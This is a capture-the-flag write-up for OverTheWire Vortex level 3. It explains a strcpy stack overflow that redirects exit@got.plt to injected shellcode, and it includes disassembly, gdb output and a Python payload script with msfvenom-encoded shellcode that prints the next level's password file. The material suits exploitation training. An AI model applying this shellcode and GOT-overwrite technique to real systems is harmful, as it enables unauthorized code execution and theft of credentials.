Overthewire vortex Wargame - Level 3
Posted by Klaus Eisentraut in ctf
This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2.
Level 3
Level #3 was more difficult than the ones before. In fact, I found the hint more confusing than helping.
The wording of the hint is NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. But if we take a look at the executable, there is no .ctors
or .dtors
section at all:
$ readelf -S vortex3
There are 30 section headers, starting at offset 0x8a8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481ac 0001ac 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804820c 00020c 000051 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804825e 00025e 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804826c 00026c 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804828c 00028c 000008 08 A 5 0 4
[10] .rel.plt REL 08048294 000294 000020 08 A 5 12 4
[11] .init PROGBITS 080482b4 0002b4 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482e0 0002e0 000050 04 AX 0 0 16
[13] .text PROGBITS 08048330 000330 000202 00 AX 0 0 16
[14] .fini PROGBITS 08048534 000534 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048548 000548 000008 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048550 000550 00002c 00 A 0 0 4
[17] .eh_frame PROGBITS 0804857c 00057c 0000ac 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049628 000628 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 0804962c 00062c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049630 000630 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049634 000634 0000e8 08 WA 6 0 4
[22] .got PROGBITS 0804971c 00071c 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08049720 000720 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804973c 00073c 000010 00 WA 0 0 4
[25] .bss NOBITS 0804974c 00074c 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 00074c 000056 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 0007a2 000106 00 0 0 1
[28] .symtab SYMTAB 00000000 000d58 000460 10 29 45 4
[29] .strtab STRTAB 00000000 0011b8 00026b 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
So I decided to ignore this hint.
Now, we need to take a look what the code is doing.
We have two global variables val
and lp
and three variables on the stack lpp
, tmp
and buf
.
There is an unsafe call strcpy(buf, argv[1])
, so obviously we have to overflow buf
.
Let's dissassemble the executable with objdump -S -M intel vortex3
and take a look at the main function in order to see how the variables are arranged on the stack layout:
0804842d <main>:
804842d: 55 push ebp
804842e: 89 e5 mov ebp,esp
8048430: 83 e4 f0 and esp,0xfffffff0 <-- align stack to 16bit boundary
8048433: 81 ec a0 00 00 00 sub esp,0xa0 <-- make space for local variables on stack
8048439: c7 84 24 9c 00 00 00 mov DWORD PTR [esp+0x9c],0x8049748 <-- &lp = 0x8049748 , lpp = esp+0x9c
8048440: 48 97 04 08
8048444: 83 7d 08 02 cmp DWORD PTR [ebp+0x8],0x2
8048448: 74 0c je 8048456 <main+0x29>
804844a: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
8048451: e8 ba fe ff ff call 8048310 <exit@plt>
8048456: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] <-- argv = ebp+0xc
8048459: 83 c0 04 add eax,0x4
804845c: 8b 00 mov eax,DWORD PTR [eax]
804845e: 89 44 24 04 mov DWORD PTR [esp+0x4],eax <-- esp+0x4 is now argv[1]
8048462: 8d 44 24 18 lea eax,[esp+0x18] <-- esp+0x18 = buf
8048466: 89 04 24 mov DWORD PTR [esp],eax
8048469: e8 82 fe ff ff call 80482f0 <strcpy@plt>
804846e: 8b 84 24 9c 00 00 00 mov eax,DWORD PTR [esp+0x9c]
8048475: 66 b8 00 00 mov ax,0x0
8048479: 3d 00 00 04 08 cmp eax,0x8040000
804847e: 74 0c je 804848c <main+0x5f>
8048480: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
8048487: e8 84 fe ff ff call 8048310 <exit@plt>
804848c: 8b 84 24 9c 00 00 00 mov eax,DWORD PTR [esp+0x9c]
8048493: 8b 00 mov eax,DWORD PTR [eax]
8048495: 89 84 24 98 00 00 00 mov DWORD PTR [esp+0x98],eax <-- tmp is located at esp+0x98
804849c: 8b 84 24 9c 00 00 00 mov eax,DWORD PTR [esp+0x9c]
80484a3: 8b 00 mov eax,DWORD PTR [eax]
80484a5: 8d 54 24 18 lea edx,[esp+0x18]
80484a9: 89 10 mov DWORD PTR [eax],edx
80484ab: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80484b2: e8 59 fe ff ff call 8048310 <exit@plt>
So, the stack layout looks like the following:
...
esp+0x18 buf ( 128 bytes)
esp+0x98 tmp ( 4 bytes)
esp+0x9c lpp ( 4 bytes)
...
So we can write an arbitrary value to buf
, tmp
and lpp
.
All three of them are placed immediately after each other without any padding in between.
But what can we do with writing an arbitrary value to tmp
or lpp
?
In order to abuse this, we take a look what the code after the strcpy
does:
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
exit(2);
tmp = *lpp;
**lpp = (unsigned long) &buf;
// *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30
From this code we derive the following facts:
- We can put arbitrary bytes into
buf
, so we will put our shellcode there. However, it must be null-byte free, otherwise thestrcpy
will terminate too early. lpp
must start with 0x8040...., otherwise the code terminates prematurely.tmp=*lpp
will dereferencelpp
, solpp
must be a valid pointer to an address where we can read. When we take a look at/proc/<pid>/maps
, we can see that we have two pages, a RX-page from0x08048000-0x08049000
and a RWX-page from0x08049000-0x0804a000
. We therefore must write an address in one of those two areas tolpp
which will actually fulfill the previous bullet point automatically!- Finally, we dereference lpp twice and write the address of buf there.
As no function is called after the last C code line, we must overwrite something in the shutdown code of glibc.
My solution was to overwrite the jmp
instruction of the glibc exit
function in the PLT table.
The exit
function will be called at the end of the main
-function.
If you do not know how PLT and GOT work, take a look at this artice.
If we take a look with objdump
, it looks like the following:
08048310 <exit@plt>:
8048310: ff 25 34 97 04 08 jmp DWORD PTR ds:0x8049734
8048316: 68 10 00 00 00 push 0x10
804831b: e9 c0 ff ff ff jmp 80482e0 <.plt>
We can also examine the running, not exploited process:
(gdb) break *0x8048310
Breakpoint 1 at 0x8048310
(gdb) run asdf
Breakpoint 1, 0x08048310 in exit@plt ()
(gdb) x/x 0x08048312
0x8048312 <exit@plt+2>: 0x08049734
(gdb) x/x 0x08049734
0x8049734 <exit@got.plt>: 0x08048316
(gdb) x/x 0x08048316
0x8048316 <exit@plt+6>: 0x00001068
(gdb)
If we point write a value of 0x8048310 + 2
to lpp
, then *lpp
will be 0x8049734 and the **lpp=&buf
line will write the address of buf
to the loation 0x8049734
which is exit@got.plt
. This is exactly what we want and therefore our shellcode will be executed.
All we need to do now is to create a shellcode which displays the contents of the next password file.
I created the shellcode with msfvenom
from the Metasploit framework and used an encoder to get a null-byte free shellcode.
The final payload was assembled with the following Python-script:
#!/usr/bin/python
from struct import pack
import sys
#msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex4" --format=python -e x86/shikata_ga_nai
buf = b""
buf += b"\xbd\x99\x8d\x62\xc9\xd9\xc3\xd9\x74\x24\xf4\x58\x29"
buf += b"\xc9\xb1\x12\x83\xe8\xfc\x31\x68\x0f\x03\x68\x96\x6f"
buf += b"\x97\xa3\xa3\x37\xc1\x66\xd5\xaf\xdc\xe5\x90\xd7\x77"
buf += b"\xc5\xd1\x7f\x88\x71\x3a\xe2\xe1\xef\xcd\x01\xa3\x07"
buf += b"\xef\xc5\x44\xd8\xc0\xa7\x2d\xb6\x31\x4b\xcf\x32\x6d"
buf += b"\xa4\x6a\xcf\x0e\x95\x02\x40\xa2\x9d\x8f\xe6\x1d\x2e"
buf += b"\x31\x64\xd2\xe1\xc7\xe5\x66\x8a\x42\x82\xb2\x72\xda"
buf += b"\x21\x33\x93\x29\x45"
shellcode = buf
shellcode = shellcode + b'\xAA'*(128-len(shellcode))
payload = shellcode
payload += b'\xBB'*4 # tmp, we don't care about this value
payload += pack("<I", 0x08048310 + 2)
sys.stdout.buffer.write(payload)
Finally, we can see it in action:
vortex3@vortex:~$ python3 payload.py > payload.txt
vortex3@vortex:~$ /vortex/vortex3 $(<payload.txt)
2Y[...snip...]jw
Level #3 - hard version
After noticing that there is a second executable /vortex/vortex3-hard
, I wanted to exploit this one, too.
It differs from the previous executable only in the fact that the last instruction *lpp = tmp;
is not commented out anymore.
The previous solution does not work anymore, because the last, additional codeline will try to write to the 0x0804800-0x08049000
page which is RX, i.e. not writeable.
However, lpp
(the pointer itself without being dereferenced) is never read or written to after the strcpy
call where the exploitation happens, so all we need to do is to a place in the writeable page which contains the same value as in the solution before.
In fact, I found the same value of in the RWX page at 0x080492a4
.